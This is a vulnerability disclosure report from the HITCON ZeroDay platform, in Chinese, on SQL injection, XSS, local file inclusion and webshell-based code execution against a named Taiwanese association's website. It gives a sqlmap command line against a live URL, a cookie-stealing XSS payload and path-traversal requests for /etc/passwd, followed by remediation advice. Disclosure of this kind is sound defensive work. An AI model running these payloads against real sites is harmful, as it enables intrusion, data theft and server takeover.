Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00239
- Vendor: 中華民國表揚好人好事運動協會
- Title: 中華民國表揚好人好事運動協會 網站存在 XSS 與 LFI 與 SQL injection to PHP Code Execution
- Introduction: 網站存在 XSS 與 LFI 與 SQL injection to PHP Code Execution
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2023/06/04 14:51:47 : 新提交 (由 BTtea 更新此狀態)
- 2023/06/04 15:36:26 : 新提交 (由 BTtea 更新此狀態)
- 2023/06/04 15:40:01 : 新提交 (由 BTtea 更新此狀態)
- 2023/06/04 17:17:13 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/20 22:59:07 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/20 22:59:07 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/20 22:59:07 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/08/04 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00239
- 通報者:blacktea_player (BTtea)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
https://www.c-gpgd.org.tw/album_s.php
https://www.c-gpgd.org.tw/contact.php
https://www.c-gpgd.org.tw/in_files.php
敘述
使用工具 SQLmap 輔助測試 (以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇預設默認選項,通常是 y )
由於該站點的 wschkid cookie 大概會5~10分鐘就更新一次,因此注入的測試參數,--cookie 內的 wschkid 與 PHPSESSID 過期就要跟著換,不然測試不到。
-
SQL injection
https://www.c-gpgd.org.tw/news2.php?no=295
GET 參數 no 存在 SQL injection
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )python3 sqlmap.py --random-agent -u "https://www.c-gpgd.org.tw/news2.php?no=295" --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0" --cookie "wschkid=2774b2bf9434e1415736fd6a7667789935a2812d.1685836171.1" --technique BEU --batch -v 3運行結果
https://www.c-gpgd.org.tw/contact.php
POST 參數存在 SQL injection
由於會汙染環境,便沒有做 payload 證明測試
運行結果
-
XSS
https://www.c-gpgd.org.tw/album_s.php?h1=112&h2=1
GET 參數 h1, h2 存在 XSS ( 會爆出SQL injection 語法錯誤 )'><script>alert(document.cookie)</script>運行結果
-
LFI
https://www.c-gpgd.org.tw/in_files.php?filename=123&file=../../in_files.php
https://www.c-gpgd.org.tw/in_files.php?filename=123&file=../../../../../etc/./passwd
可以下載原始碼或其他敏感檔案 -
SQL injection to PHP code Execution
首先透過 web 路徑掃描程式掃出後台發現可以存取
https://www.c-gpgd.org.tw/admin/login.php
透過 SQLmap 從資料庫獲取後台帳密後,找到活動花絮管理,選新增,照片那裡可以上傳檔案,上傳 webshell。
上傳之後門已盡數刪除
修補建議
建議可以使用 htmlspecialchars 函式來預防 XSS
htmlspecialchars用法:
https://www.w3schools.com/php/func_string_htmlspecialchars.asp
XSS攻擊防禦原理解說:(wiki):
https://zh.wikipedia.org/zh-tw/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC
建議可以使用 PDO 框架或者 mysqli_real_escape_string 函式,或者改寫成參數化查詢來預防 SQL injection。
PDO用法:
https://blog.tarswork.com/article/quick-start-operation-mysql-using-php-pdo/
mysqli_real_escape_string用法:
https://www.runoob.com/php/func-mysqli-real-escape-string.html
參數化查詢原理解說(wiki):
https://zh.wikipedia.org/zh-tw/%E5%8F%83%E6%95%B8%E5%8C%96%E6%9F%A5%E8%A9%A2
SQL injection 攻擊成因解說(wiki):
https://zh.wikipedia.org/zh-tw/SQL%E6%B3%A8%E5%85%A5
建議可以使用下方兩個語法來預防LFI與RFI。
ini_set('open_basedir','./');
ini_set('allow_url_include','off');
LFI攻擊與防禦解說:
https://www.twblogs.net/a/5b8d36622b717718833c52e6
LFI攻擊成因解說:
https://ithelp.ithome.com.tw/articles/10241555
LFI攻擊防禦原理解說:(wiki):
https://en.wikipedia.org/wiki/File_inclusion_vulnerability